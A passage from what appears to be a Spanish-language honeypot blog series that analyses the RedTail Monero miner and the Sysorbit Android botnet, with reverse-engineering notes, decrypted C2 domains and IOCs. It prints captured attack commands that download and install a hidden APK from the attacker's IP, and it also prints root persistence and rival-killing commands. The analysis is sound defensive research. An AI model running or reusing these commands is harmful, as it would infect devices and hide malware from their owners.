minero podría seguir aceptando parámetros y daría igual. Se amputa cuando el dato va dentro y no quieres que nadie lo cambie, lo lea, ni lo sustituya por el suyo. Y eso coincide con lo que sostienen Akamai y el resto de firmas: la configuración va embebida y cifrada, y se descifra en memoria al arrancar. ¿Y el escaneo de entropía limpio de la sección 03? No se contradicen: aquel barrido, de grano grueso, busca bloques grandes - y un blob de configuración es tan pequeño al lado de 5,2 MB de binario que no llega a asomar. Mi conclusión de que venía del C2 salió de una única fuente que ahora veo poco sólida. CLo que sí he descartado Si el dato está dentro y cifrado, la siguiente pregunta es con qué. Y ahí sí traigo algo que no había publicado nadie. No es XOR. Ni de clave simple ni de clave repetida, y no lo digo por intuición. Hay una prueba estadística bonita para esto: si coges un texto normal y lo cifras con una clave que se repite, al comparar el resultado consigo mismo desplazado justo la longitud de la clave, el bit más alto de cada byte sale siempre a cero. En datos aleatorios sale cero la mitad de las veces. Así que se puede barrer un fichero entero buscando esa firma sin saber la clave. Lo hice sobre todas las zonas de datos del binario, probando longitudes de clave de 1 a 40. Ni una sola zona da positivo. Los únicos aciertos fueron falsos y hasta simpáticos: tablas de conversión, listas de números… y un trozo de Lorem ipsum que viene de los tests de una de las librerías que lleva enlazadas. Un negativo también es un resultado«No es XOR» suena a poca cosa, pero acota mucho. Descarta la técnica que usa la inmensa mayoría de este malware (los capítulos 2 y 4 se resolvieron así) y deja solo cifrado de verdad. RedTail juega en la liga de Sysorbit, no en la de XorDDoS. DEl mapa, hasta donde llegué Y aquí está el terreno ganado, para quien venga detrás - incluido yo mismo: el camino, hasta donde lo tengo0x415b60 main # no es el que dice el decompilador: hay que leer # el ensamblador del arranque para encontrarlo 0x446e8c ... # llama al cargador con la config ya montada 0x4457c0 cargador # lee la clave \"pools\" y construye los objetivos 0x460ba0 Pool # usa \"rig-id\" y \"self-select\" 0x459e80 reconexión # maneja el \"client.reconnect\" del pool ??? descifrado # \u0026lt;- aquí me quedé Falta la pieza de en medio: qué convierte esos bytes cifrados en el JSON que lee el cargador. Y no la tengo por dos razones concretas. La primera es que el cargador no se llama directamente, sino a través de una tabla de punteros, así que el rastro se corta y hay que reconstruirlo a mano. La segunda es de fuerza bruta: son 5,2 MB de C++ muy optimizado, con OpenSSL y media docena de librerías dentro, y el decompilador se atraganta - devuelve funciones llenas de bloques que no sabe resolver. A partir de ahí se lee ensamblador a pelo, y eso va a razón de horas por función. 07Por qué lo dejo aquí (de momento) Esta pared no es como la de la cartera. Aquella era definitiva: el dato no existe en el fichero, y no hay ingeniería inversa que saque lo que no está. Esta es distinta - es una pared de coste. El dato está ahí, sé por dónde se llega, y lo que falta son horas. Muchas. Y he preferido contártelo así, con el mapa a medias, antes que guardarlo en un cajón hasta tenerlo entero. Por dos motivos. Uno, porque lo descartado también sirve: si alguien retoma esto, ya no tiene que perder la mañana probando XOR. Y dos, porque me parece más honesto enseñar una investigación como es (abierta, con terreno ganado y terreno por ganar) que fingir que los capítulos salen cerrados a la primera. El binario no se va a ninguna parte. Volveré. Cómo acabó la partidaVolví. Está contado en el Capítulo 15, y no salió como esperaba: monté una jaula, encendí el minero y le saqué la configuración de la memoria - pero para entonces la familia llevaba más de un año documentada de arriba abajo, y la pieza que yo creía haber descifrado servía para otra cosa. El mapa de aquí arriba se queda tal como estaba, con sus huecos: era verdad el día que lo escribí. 08Indicadores (IOCs) TipoValor FamiliaRedTail · minero Monero (fork de XMRig) EmpaquetadoUPX (sin cabeceras de sección - lo hace UPX, no el autor) Librería propialibredtail (TLS / evbuffer_tls) Ruta de build/var/build/redtail/scripts/x86_64-build/ (con hwloc 2.14.0, snappy 1.2.2, abseil) Configembebida y cifrada · NO es XOR (descartado estadísticamente) Interfaz amputadafaltan las 6 claves que permiten dirigirlo: config · coin · algo · user · cpu · tls (quedan 19, entre ellas url) Motorcore completo de XMRig: RandomX ×5 · CryptoNight ×13 · argon2 ×3 Puerto de sus pools2137 (constante en toda la infraestructura conocida de la familia) SHA-256 (miner x86_64)f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 Estado a 11 de septiembre de 2026Esta campaña no se ha apagado: sigue llegando a mi cebo. Entre el 27 de agosto y el 11 de septiembre, cowrie ha registrado dieciocho entregas de cada uno de sus cinco binarios - redtail.x86_64, redtail.riscv, redtail.i686, redtail.arm8 y redtail.arm7 - y el servidor de reparto 217.60.195.113 sigue vivo. Más de cinco semanas sirviendo los mismos binarios, sin recompilar. Compáralo con el Mirai del Capítulo 4: a las tres semanas su dominio estaba muerto y su servidor de reparto había desaparecido. (De paso: el operador llama arm8 a la build de aarch64.) Y el resumen honesto de este capítulo es que la cartera no está, que el «no es XOR» sigue en pie, y que la pared que me paró era de coste, no de imposibilidad - lo que se descarta también sirve al siguiente que lo intente. Continuará - el cebo sigue encendido. Cuando el próximo bicho traiga algo nuevo, habrá séptimo capítulo. 🍯","date":"2026-08","fam":"RedTail","n":6,"spec":"RedTail (minero Monero)","sum":"Desempaquetamos el minero de RedTail y lo abrimos con Ghidra buscando el pool y la cartera. Lo que encontramos es más interesante que un número: el dato va dentro, embebido y cifrado - y nadie ha publicado cómo descifrarlo.","t":"El minero que esconde su cartera","tags":["Ghidra","ingeniería inversa","XMRig","UPX","cryptojacking"],"tipo":"Minero (cryptojacking)","url":"/capitulo-6/"},{"body":"Las tres familias anteriores (XorDDoS, Mirai, RedTail) iban a por servidores Linux. Esta va a por otra cosa: un teléfono. El cebo tiene abierto el puerto 5555, el de ADB (Android Debug Bridge) - el canal de depuración de Android. Cuando queda expuesto a internet, es una puerta abierta sin contraseña a un dispositivo Android. Y alguien la encontró. Este capítulo es la caza; el destripe del APK va en el Capítulo 8. 01La captura Un bot escaneando el puerto 5555. En cuanto el cebo aceptó la conexión ADB, mandó una sola orden gigante - un shell de Android que hace todo de un tirón. El propio cebo, para capturar la muestra, se descargó el APK que la orden pedía. 00:00.0Conecta al 5555 desde 176.65.139.248. ADB no pide contraseña: entra directo. 00:00.3Desinstala a la competencia - una lista de bots rivales de Android - y limpia /data/local/tmp. 00:00.3Descarga su APK (sysorbit.apk) desde su propio servidor, lo instala concediéndole todos los permisos, arranca el servicio, y lo oculta de la lista de apps. 02La orden, al desnudo Todo en una línea. La he troceado por fases para leerla, pero llegó de golpe: AEchar a los inquilinos anteriores Antes de instalarse, desinstala a otros bots de Android que pudieran estar ya en el aparato. Quiere el teléfono para él solo - la misma guerra entre delincuentes que vimos en RedTail, pero en Android. stage-A · desalojar rivalespm uninstall com.manji.bot 2\u0026gt;/dev/null pm uninstall com.iranbot.load 2\u0026gt;/dev/null pm uninstall com.android.log_handler_v2 2\u0026gt;/dev/null pm uninstall com.oreo.mcflurry 2\u0026gt;/dev/null pm uninstall com.google.android.pms.update 2\u0026gt;/dev/null # falso \"pms\" pm uninstall com.google.android.gms.update 2\u0026gt;/dev/null # falso \"gms\" pm uninstall com.andriodakb.registerrs 2\u0026gt;/dev/null # \"andriod\" pm uninstall com.driots.sevice 2\u0026gt;/dev/null # \"sevice\" pm uninstall com.kbot.loadd 2\u0026gt;/dev/null # \"loadd\" pm uninstall com.meowrisee.service 2\u0026gt;/dev/null pm uninstall io.toy.zae 2\u0026gt;/dev/null rm -rf /data/local/tmp/* 2\u0026gt;/dev/null Fíjate en los nombresOnce paquetes rivales, y cuatro con erratas: sevice, andriod, loadd, registerrs. No son cosa mía al transcribir - están así en el comando que entró por el cable, y los he vuelto a comprobar contra el registro original antes de publicarlos. Dice bastante del oficio: quien mantiene esa lista lleva apuntados los nombres de la competencia como quien apunta la compra en un papel, sin releerlo. Y el com.google.android.pms.update («pms» en vez de «gms») probablemente sea otro bot intentando disfrazarse de Google y equivocándose de letra. BTraer el APK - con red de seguridad Descarga sysorbit.apk desde 176.65.139.248, probando todas las herramientas que pueda tener un Android (busybox, toolbox, toybox, wget, curl) y, si nada funciona, nc a un puerto suelto. La misma cascada obstinada del loader de Mirai. stage-B · descarga en cascadabusybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk || toybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk || curl hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk || busybox nc 176.65.139[.]248 30254 \u0026gt; /data/local/tmp/x.apk # último recurso CInstalar, arrancar y esconderse Instala con -g (todos los permisos de golpe), lanza el servicio del bot, se registra para arrancar tras un reinicio, y se oculta de la lista de aplicaciones. Para cuando el dueño del teléfono mire, no hay ningún icono nuevo. stage-C · instalar + ocultarpm install -r -g /data/local/tmp/x.apk # -g = concede TODOS los permisos am start-foreground-service -n com.sysorbit.service.security/.BotService am broadcast -a android.intent.action.BOOT_COMPLETED \\ -n com.sysorbit.service.security/.RestartReceiver # persistencia pm hide com.sysorbit.service.security # desaparece de la lista rm -rf /data/local/tmp/x.apk El disfrazEl paquete se llama com.sysorbit.service.security - «servicio de seguridad» - y una vez dentro se presenta como una notificación de «Google Play Service Updates». Nombre inocuo, icono de sincronización del sistema, y pm hide para rematar. Todo pensado para que nadie lo busque. Esta orden no la escribió nadie esta nocheCuando abrí el binario en el Capítulo 8 me encontré esta misma secuencia (la cascada de descarga, el pm install, el arranque del servicio) escondida dentro del propio bicho. No es que un atacante la teclee contra cada víctima: cada teléfono infectado la repite contra otros por su cuenta, sin esperar órdenes de nadie. Lo que ha entrado por mi puerto 5555 no es un intruso, es un aparato contagiado buscando al siguiente. Y un detalle que da risa: la lista de rivales que el binario desinstala por su cuenta no es la misma que la de esta orden. Lleva dos paquetes que aquí no aparecen. Alguien actualizó una copia y se olvidó de la otra. 03El espécimen El APK que el cebo capturó. ESPÉCIMEN 004 · APK Sysorbit · botnet Android ◈ VIVO · NO EJECUTAR TipoAPK firmado · 707 KB Paquetecom.sysorbit.service.security EmpaquetadoDEX mínimo + librerías nativas (UPX) Funciónbot DDoS de Android C2cifrado en el binario - se destripa en el Cap. 8 SHA-25631de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 Regla de la casaEl APK no se publica; el hash sí. Con ese SHA-256 cualquiera lo identifica en VirusTotal o MalwareBazaar sin que yo reparta el bicho. 04Indicadores (IOCs) TipoValor IP atacante / distribución176.65.139.248 (HTTP /sysorbit.apk · nc :30254) Vía de entradaADB · puerto 5555 APKsysorbit.apk · 31de5c5d0a34…f103901 Paquetecom.sysorbit.service.security Componentes.BotService · .MainActivity · .RestartReceiver Rivales que desinstalacom.manji.bot · com.kbot.loadd · io.toy.zae · … Continuará - el APK está empaquetado y su C2 escondido en código nativo. En el Capítulo 8 lo abro capa a capa con jadx y Ghidra. Me costó dos intentos y un día de por medio, pero acabó cantando a dónde llama. 🍯","date":"2026-08","fam":"Sysorbit","n":7,"spec":"Sysorbit (Android)","sum":"Los tres anteriores atacaban servidores. Este iba a por un teléfono: entró por ADB, borró a la competencia, instaló su app disfrazada de Google, y se escondió. Primer malware de Android en el cebo.","t":"El que entró por el cable de depuración","tags":["Android","ADB","honeypot","DDoS"],"tipo":"Botnet Android (DDoS)","url":"/capitulo-7/"},{"body":"En el Capítulo 7 cacé a Sysorbit entrando por ADB. Ahora toca abrir el APK y encontrar su C2. Lo que se busca es de qué es capaz y a dónde llama, para poder detectarlo y cortarlo. Un APK es un ZIP con tres capas: recursos, código Java (classes.dex) y librerías nativas (.so). Vamos de fuera adentro. Antes de empezar, una confesiónEste capítulo lo publiqué una vez y terminaba mal: llegaba hasta una puerta cerrada, admitía que no sabía abrirla, y se despedía. Veinticuatro horas después volví con otras herramientas y la puerta cedió. He reescrito la entrada entera, pero no he borrado la derrota: sigue aquí, con los dos caminos equivocados que tomé y las dos cosas que había contado mal. La parte en la que acierto es la menos interesante de las dos. 01Un APK que casi no tiene Java Primera sorpresa al listar el ZIP: el classes.dex (el código Java) pesa 13 KB - ridículo. Y en cambio hay cuatro librerías nativas libmedia_format.so, una por arquitectura, de unos 150 KB cada una. La lógica de verdad no está en Java: está en el código nativo. El Java es solo un cascarón. El nombre de la librería ya es una mentira: libmedia_format suena a códec de vídeo. Dentro no hay un solo byte de multimedia. 02El Java: un lanzador con malas ideas Decompilé el DEX con jadx. La app se disfraza y hace de lanzador y niñera del binario nativo. Cada minuto, un hilo ejecuta esta lógica: Comprueba si el bot ya vive: hace PING a un socket local abstracto sysorbit_watchdog y espera PONG. Mata instancias viejas o rivales por nombres disfrazados: [system_server], sys_health_check, sys_core, sys_update_helper. Comprueba root (su -c id → uid=0). Y aquí está lo feo: si el teléfono tiene root, se clava en el sistema disfrazado de binario de mantenimiento. com.sysorbit.a.b · persistencia con rootmount -o remount,rw /system cp libmedia_format.so /system/bin/sys_health_check # se hace pasar por binario del sistema chmod 755 /system/bin/sys_health_check chown root:root /system/bin/sys_health_check cp libmedia_format.so /data/local/tmp/sys_update_helper /system/bin/sys_health_check \u0026amp; # y lo arranca Sin root, se conforma con ejecutar la .so desde el directorio de la app. Con root, se hace parte del sistema operativo. Y todo mientras la interfaz muestra una notificación falsa de «Google Play Service Updates - Checking for updates…». Persistencia por triplicadoNo se fía de un solo truco: un receptor de arranque (BOOT_COMPLETED), un watchdog, y (el más sutil) un SyncAdapter con cuenta falsa (AuthenticatorService + SyncService), que hace que Android lo despierte periódicamente «para sincronizar». También declara un servicio de Accesibilidad, la llave maestra de Android (leer pantalla, autoclic, autoconcederse permisos). 03El motor nativo: una cañonera de DDoS La .so venía empaquetada con UPX (como RedTail). Desempaquetada (155 KB → 515 KB) y abierta con Ghidra, canta lo que hace: strings del nativo (desempaquetado)# motor de flood Flood ID '%d' starting in thread (duration %d seconds) GET %s HTTP/1.1 PRI * HTTP/2.0 Host: %s # watchdog + registro sysorbit_watchdog sysorbit_native_lock Es un bot de denegación de servicio: lanza floods por identificador, en hilos, con duración - incluidos HTTP/1.1 y HTTP/2 (ese PRI * HTTP/2.0) y un flood de conexiones TCP que abre 128 sockets de golpe contra el objetivo. Aquí encontré también una cadena que me llamó la atención y que interpreté mal - luego vuelvo sobre ella: la cadena que me despistótoken=df96af03-c2fc-4c29-919a-2605aa70b1f8\u0026amp;guid=76561198804806015 Ese guid tiene formato de SteamID64, el identificador de una cuenta de Steam. Un rastro rarísimo en un bot de Android. 04A la caza del C2 - y la pared Con Ghidra seguí el hilo del cliente del C2. Lo que encontré: El cliente conecta a una IP y un puerto que saca de una estructura de configuración, y habla por HTTP. Tiene un resolutor propio con servidores DNS de reserva embebidos (8.8.8.8, 1.1.1.1) para resolverse aunque el DNS del aparato falle. Pero el host del C2 no está en texto claro en ninguna capa - ni en el APK, ni en el DEX, ni en el nativo. Cuando el cliente lo usa, ya es una IP binaria descifrada en memoria. Y hasta aquí lleguéSysorbit cifra el host de su C2 y lo descifra al arrancar. La estructura del código está clara (cómo se conecta, se registra y ataca), pero el a dónde se lo guarda cifrado. Igual que RedTail (Cap. 6): la dirección va cifrada y no sale por estático. Ahí cerré el capítulo la primera vez. Escribí que sacar esa dirección exigiría una de dos cosas: revertir su rutina de descifrado, o ejecutar el bicho en un Android aislado y mirar a dónde llama. Lo segundo no lo hago (es un bot vivo y encenderlo es trabajar para el atacante), así que di el asunto por cerrado y me fui a dormir. Y lo di por cerrado mal. Porque la primera opción, revertir la rutina, nunca estuvo fuera de mi alcance: yo simplemente no había sabido encontrarla. Una cosa es que una puerta esté cerrada y otra que no tengas la llave. Yo confundí las dos. Al día siguiente seguía dándole vueltas. Así que volví. 05Volviendo sobre mis pasos Volví con un cambio de método, y creo que es lo más útil de todo el capítulo: entrar por los datos en vez de por el código. La primera vez hice lo natural: elegí una función que parecía la del C2 y fui tirando de sus llamadas hacia fuera, a ver qué encontraba. El problema es que esta librería lleva libc++ enlazada estáticamente, así que «hacia fuera» son cientos de funciones de fontanería del lenguaje. Mi volcado acababa siempre en malloc y thread::join. Buscaba una aguja explorando el pajar entero. Al revés funciona mejor: si el host se descifra en memoria, los bytes cifrados tienen que estar en el fichero, y alguien tiene que leerlos. Así que en vez de preguntar «¿qué llama esta función?», se pregunta «¿quién toca estos bytes?». En vez de explorar, anclas. Es exactamente lo que hice en el Capítulo 2 sin darme cuenta de que era un método: allí la clave apareció porque vi una cadena repetida y pregunté quién la referenciaba. APrimer callejón: persiguiendo fantasmas Empecé por lo que parecía obvio. Un dato cifrado tiene una firma: sus bytes parecen aleatorios, sin la estructura que tiene el texto normal. Se llama entropía alta, y se puede barrer un fichero entero buscándola. Lo hice, y salieron siete zonas sospechosas. Siete candidatos a esconder la dirección. Los fui abriendo uno a uno, y uno a uno se fueron cayendo. Los dos más gordos resultaron ser vergonzosamente inocentes: el primero era una lista de números primos (127, 131, 137, 139…) que el propio lenguaje C++ usa por dentro para organizar sus tablas. El segundo eran las constantes de SHA-256, un número mágico que aparece en cualquier programa que haga criptografía. Ninguno era del malware. Eran los muebles de la casa, no lo que el ladrón había escondido. Media mañana persiguiendo fantasmas. BSegundo callejón: la trampa cómoda Cambié de táctica. Si el bot llama a su central, en algún sitio tiene que abrir una conexión - así que fui a buscar las funciones que abren conexiones y a caminar hacia atrás desde ahí. Y di con una que resolvía un nombre de dominio y conectaba. Encajaba tan bien que no la cuestioné: «aquí está, este es el cliente del C2». No lo era. Cuando por fin la leí entera, con calma, resultó ser el motor de ataque: el flood de HTTP. Ese nombre de dominio que resolvía tan diligentemente no era el de su casa. Era el de la víctima a la que iba a atacar. Me había pasado media jornada estudiando el arma en vez del teléfono. Y al verlo entero me di cuenta de que en la primera versión de este capítulo había dicho dos cosas mal: Señalé una función como lanzadora del hilo del C2. No lo es: es el motor del flood HTTP, con seis User-Agent de Mozilla que va rotando (nueve en total en el binario, repartidos entre tres funciones, y uno de ellos de iPhone), soporte de Cookie y Referer, y un búfer de 200 KB en pila para machacar peticiones. Presenté el token=…\u0026amp;guid=… como el registro del bot contra su C2. Tampoco: es el cuerpo de un POST que usa uno de los métodos de ataque. El SteamID no identifica al bot, viaja dentro de una petición de inundación. Y si te preguntas qué hace un identificador de Steam dentro de un bot de Android, la respuesta es que el bot está atacando a un servidor de videojuegos, y para que su petición cuele copia el cuerpo de una legítima (SteamID incluido). Es camuflaje: mil peticiones calcadas a las que haría un jugador de verdad. Ese número, además, resuelve a una cuenta pública que existe: alias SponneR, comentarios en turco y ruso, un grupo dedicado a las trampas en CS:GO. Y aquí me paro, porque conviene decirlo claro: es una pista, no una acusación. Copiar un SteamID ajeno cuesta cero, y lo más probable es que sea la cuenta de alguien a quien atacaron y cuya petición quedó pegada en la plantilla. Pero encaja con lo otro que ya vimos (el certificado que finge ser una empresa española y escribe «Cataluna» sin eñe): quien montó esto no habla español. Por qué lo cuento en vez de borrarloPodría haber corregido las dos frases sin decir nada y nadie se habría enterado. Pero el error explica por qué me estrellé: si crees que ya tienes localizado el cliente del C2, dejas de buscarlo. Equivocarse de función te cuesta el capítulo entero. CEmpezar por donde empieza todo Dos caminos, dos fracasos. Cuando te pasa eso, la lección de siempre es que estabas siendo demasiado listo. Así que hice lo más tonto que se puede hacer con un programa: empezar por el principio y leerlo en orden, como si fuera un libro. Porque esta .so no es solo una librería que otros usan: también arranca sola (el Capítulo 7 la vio instalarse como /system/bin/sys_health_check), y eso significa que tiene un punto de entrada, un primer renglón. Nunca lo había mirado. Y las primeras cuatro cosas que hace ya pagan el viaje: main · lo primero de todo// 1) se cambia el nombre del proceso prctl(PR_SET_NAME, \"[system_server]\"); // 2) sobrescribe su propio argv[0] con el mismo nombre falso memset(argv[0], 0, len); strncpy(argv[0], \"[system_server]\", ...); // 3) se blinda contra el asesino por falta de memoria write(open(\"/proc/self/oom_score_adj\"), \"-1000\"); // 4) ignora diez señales: SIGTERM, SIGINT, SIGHUP, SIGPIPE, SIGALRM... Lo de [system_server] tiene más malicia de la que parece. En Linux, cuando listas los procesos, los que salen entre corchetes son hilos internos del núcleo del sistema - cosas que no se tocan. El bicho se pone corchetes en el nombre para que quien mire la lista deslice la vista por encima y siga buscando. Es camuflaje tipográfico. Y el -1000 es todavía más descarado. Android, cuando se queda sin memoria, va matando aplicaciones por orden de prescindibilidad. Ese número es la nota que decide a quién sacrifica primero, y -1000 es el mínimo posible: significa «mata a quien quieras, pero a mí el último». El bot se declara a sí mismo más importante que cualquier cosa que tengas abierta en el teléfono. Después coge un nombre que va montando letra a letra (sysorbit_native_lock) y lo reserva. Si ya estaba cogido, se va sin decir nada: es su forma de comprobar que no hay otra copia de sí mismo corriendo. Y entonces lanza dos hilos y se queda esperando. El primero resultó ser el vigilante: se sienta a escuchar, y cuando le llegan cuatro bytes que dicen PING, contesta PONG. Es el que le confirma a la parte Java que sigue vivo. Nada nuevo. El segundo hilo no me lo esperaba en absoluto. 06Capa 1: cadenas montadas carácter a carácter El segundo hilo no ataca a nadie. Lo que hace es ejecutar órdenes de shell - órdenes de verdad, del sistema - una detrás de otra, en bucle, para siempre. Pero las órdenes no estaban escritas en ninguna parte que yo pudiera leer. Antes de ejecutar cada una, la fabricaba. Y ahí, por fin, estaba el hilo del que tirar. Porque si el bicho fabrica sus órdenes en vez de llevarlas escritas, esa fábrica tiene que estar en el binario. Y si tiene una fábrica de cadenas ocultas para esto, es la misma que usará para esconder la dirección de su casa. La fábrica resultó ser una función corta y fea. No cifra la cadena entera de una vez, como haría cualquiera: la cifra letra por letra, y cada letra con su propia clave y su propia receta. ghidra · el descifrador, decompiladouint descifra(uint c, uint clave, char variante) { // rota el byte 2 bits a la izquierda... rot = c \u0026gt;\u0026gt; 6 \u0026amp; 3 | c \u0026lt;\u0026lt; 2; r = rot ^ clave ^ 5; // variante 0 if (variante == 1) r = (rot - clave) - 5; // variante 1 // ...o 2 bits a la derecha r2 = (c \u0026gt;\u0026gt; 2 \u0026amp; 0x3f | c \u0026lt;\u0026lt; 6) ^ clave ^ 5; // variante 2 return (variante == 2) ? r2 : r; } La rutina, en Ghidra. A la izquierda el ensamblador ARM64 tal cual está en el binario; a la derecha, el mismo código traducido a C por el decompilador - que es lo que hace legible una cosa como ubfx w8,w0,#0x6,#0x2. Arriba, las XREF[20]: veinte sitios distintos del programa llaman a esta función. Ahí fue donde supe que no era un detalle suelto, sino la fábrica de cadenas de todo el bicho. Tres recetas distintas, y cada carácter usa una. Pero lo bueno es de dónde salen la clave y la receta: de dos generadores de números pseudoaleatorios que corren en paralelo, sembrados con constantes propias de cada cadena. el generador (Lehmer)x = (x * 0x10A860C1) % 0xFFFFFFFB # un generador por cada cosa: clave = (prng_clave ^ semilla) \u0026amp; 0xFF variante = (prng_receta) % 3 Por qué esto derrota a stringsUn XOR de clave fija deja patrones: bytes que se repiten, longitudes que cantan. Aquí cada carácter se cifra distinto del anterior, así que la cadena cifrada no tiene ninguna estructura visible. El precio que paga el autor es que las semillas sí están en el código, a la vista. Es un cifrado que engaña al que mira por encima y se rinde ante quien lee la rutina. Repliqué el algoritmo en unas pocas líneas y lo apunté contra la primera cadena cifrada que tenía a mano. Cinco bytes, que hasta ese momento eran 4a b3 e0 1a 68 y no significaban nada. el momento4a b3 e0 1a 68 -\u003e c l o s e close. Una palabra corriente y moliente, de cinco letras, que no le importa a nadie. Pero era una palabra de verdad, en inglés, con sentido - y eso no sale por casualidad. Con cinco letras correctas ya sabía que tenía el algoritmo entero. Lo lancé contra todo el binario y cayeron 44 cadenas que llevaban ahí desde el principio, invisibles. Entre ellas, una que me hizo enderezarme en la silla: cadenas recuperadas (selección)# la que importa ORBIT_BOT_AUTHVXJUACFHAVBA # token de autenticación contra el C2 # nombres de funciones del sistema (ver recuadro) socket connect send recv bind listen accept select close signal # la guerra contra la competencia, en bucle pm uninstall %s \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 com.manji.bot com.iranbot.load com.oreo.mcflurry com.android.log_handler_v2 com.google.android.pms.update find /data/local/tmp -name '*.so' -delete grep -l 'libyahu.so' /proc/*/maps | cut -d'/' -f3 | xargs kill -9 # propagación por ADB, dentro del propio binario busybox wget hxxp://…/sysorbit.apk -O /data/local/tmp/x.apk pm install -r -g /data/local/tmp/x.apk su -c ' adb_v2 También esconde a quién le pide favoresFíjate en esos socket, connect, bind… son nombres de funciones del sistema. Normalmente un programa los declara abiertamente y cualquiera puede ver qué usa. Sysorbit no: descifra el nombre, le calcula un hash y busca la función por ese hash. Resultado: al abrir el binario no se ve que use la red. Y por si fuera poco, envuelve las llamadas en una máquina de estados con constantes de broma (0xbadc0de, 0xc0ffee, 0xf00d) para enredar la lectura. Es la razón por la que mi primer intento de clasificar sus ataques no encontró nada. 07Capas 2 y 3: una clave que no existe Con el ORBIT_BOT_AUTH en la mano ya tenía por dónde tirar: busqué quién lo usaba, y esa función sí era el cliente del C2. Dentro estaba el puerto, escondido a plena vista: el puerto, disfrazado de número sueltoDAT_00185350 = 0x35280002; # en memoria son los bytes: 02 00 28 35 # 02 00 -\u003e AF_INET (es una dirección de red) # 28 35 -\u003e puerto 0x2835 = 10293 Faltaba el destino. Y el destino salía de una lista que alguien construía al arrancar el programa. Fui a ver quién, esperando encontrar por fin los dominios escritos en algún rincón. No estaban. Lo que había era la última capa, y la mejor de las tres. Los dominios van cifrados con ChaCha20 - esto ya es criptografía seria, moderna, de la que usa tu navegador; nada que ver con los XOR caseros de XorDDoS o Mirai en capítulos anteriores. Pero lo verdaderamente elegante no es el algoritmo. Es dónde guarda la clave para abrirlo. No la guarda en ninguna parte. la clave se fabrica al arrancar# dos bloques de bytes que por separado parecen basura clave[ 0: 8] = datos[0x111c84] XOR datos[0x10e710] clave[ 8:16] = datos[0x111c8c] XOR datos[0x10e718] clave[16:24] = datos[0x111c94] XOR datos[0x10e640] clave[24:32] = datos[0x111c9c] XOR datos[0x10e648] La llave partida en dosAhora se entiende por qué mi primera búsqueda fracasó. Yo barrí el fichero buscando algo que pareciera una clave, y no había nada, y me lo creí. Pero es que la clave no existe hasta que el programa arranca: son dos trozos de datos sosos, en dos rincones distintos del fichero, que por separado no son nada y que solo significan algo cuando se juntan. Como esas llaves de película que hay que unir para abrir la caja fuerte: ninguna mitad abre nada, y ninguna mitad parece una llave. La lección, y me la apunto: «no encuentro nada que parezca cifrado» no es lo mismo que «no hay nada cifrado». Solo quiere decir que estás buscando la forma equivocada. Y no es lo único que se monta al vuelo. El nonce (el número que ChaCha20 necesita para que la misma clave no produzca dos veces el mismo flujo) tampoco está en el fichero: lo escribe el propio código en memoria al arrancar. Por eso tampoco aparecía buscando. Es el mismo truco de la llave partida, aplicado otra vez. lo que faltaba para reproducirlo# el nonce, escrito en memoria al arrancar (12 bytes) 1e 00 4a 00 00 00 00 00 00 00 00 00 contador = 1 # y dónde están los cuatro bloques cifrados 0x10f0fa 28 B 0x10fc6a 28 B 0x10f95d 21 B 0x10eaf7 16 B Con eso y la clave de arriba, cualquiera reproduce el descifrado entero. Lo publico a propósito: sacar los servidores de mando de una muestra es defensa, no le da a nadie una capacidad contra terceros - y en el Capítulo 6 me quejé precisamente de que para RedTail no existiera nada parecido. Antes de cerrar la sección, una cosa más sobre la pila criptográfica: además de ChaCha20 y SHA-256, el binario implementa HMAC - están las constantes 0x36 y 0x5c y el bloque de 64 bytes, que son de manual. No solo cifra: autentica. Probablemente para validar lo que le llega del C2. Y ahora la parte divertida, porque con las cuatro direcciones delante se ve algo que no se veía antes. Las cuatro llamadas usan la misma clave, el mismo nonce y el mismo contador. Un único bloque de flujo cifra los cuatro dominios. Eso tiene nombre desde hace décadas y es de los errores que no se perdonan: reutilizar el flujo de clave. Lo bonito es que se demuestra sin romper nada. Coges los dos bloques de 28 bytes tal como salen del binario, los haces XOR entre sí, y la clave se cancela sola: XOR de los dos cifrados de 28 bytes1a 02 06 08 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 └─ los últimos veinte bytes son idénticos Sin conocer la clave, sin descifrar una letra, esa cola de ceros ya te dice que los dos dominios terminan igual en sus últimos veinte caracteres - que es exactamente .twilightparadox.com. (El cero número veintiuno es casualidad: los dos nombres acaban su primera etiqueta en la misma letra.) Eligieron bien el algoritmo y lo usaron malChaCha20 no tiene la culpa de nada: es tan bueno como dije. Pero un cifrado de flujo se sostiene sobre una regla - el mismo flujo no cifra dos cosas - y aquí la rompieron cuatro veces seguidas. Todo el trabajo de la clave partida en dos mitades, y del nonce que se fabrica en memoria, para que luego el propio fichero te cuente a gritos qué comparten sus dominios. 08El C2 al desnudo Junté las dos mitades, monté la clave, y apliqué el descifrado a los cuatro bloques de datos que el programa iba a usar como destinos. Este es el momento en que sabes si has acertado o has perdido el día: si el algoritmo no es exacto, lo que sale es basura ilegible. Si lo es, sale texto. Salió texto. Los cuatro, limpios, a la primera: los cuatro destinos, descifradosorbitcnc.twilightparadox.com # orbit + cnc (command and control) updatemc.twilightparadox.com udpatetbl.duckdns.org # sí, \"udpate\": una errata del autor coxm.duckdns.org puerto 10293/TCP Los cuatro están sobre servicios de DNS dinámico gratuito (FreeDNS y Duck DNS): subdominios que se registran en dos minutos, sin pagar y sin dar datos. Es el alojamiento de usar y tirar del malware de gama media. Y entonces los resolví - solo consulta de DNS, sin tocar la máquina: DominioEstado orbitcnc.twilightparadox.comVIVO → 176.65.139.248 updatemc.twilightparadox.comVIVO → 176.65.139.248 udpatetbl.duckdns.orgno resuelve (reserva dormida) coxm.duckdns.orgno resuelve (reserva dormida) Y al ver esa IP me quedé un rato mirándola, porque me sonaba. El chiste final176.65.139.248 es exactamente la máquina desde la que se descargó el APK en el Capítulo 7. La tenía apuntada en la tabla de indicadores desde el primer día. El servidor que reparte el bicho y el centro de mando que le da las órdenes son la misma máquina. Tres capas de cifrado, un algoritmo de grado militar, una clave partida en dos mitades escondidas en rincones distintos del fichero… para esconder una dirección que ya estaba escrita en mis notas. No sé si el autor no cayó, o si le dio igual. Pero hay algo honesto en descubrir que el gran secreto que te ha 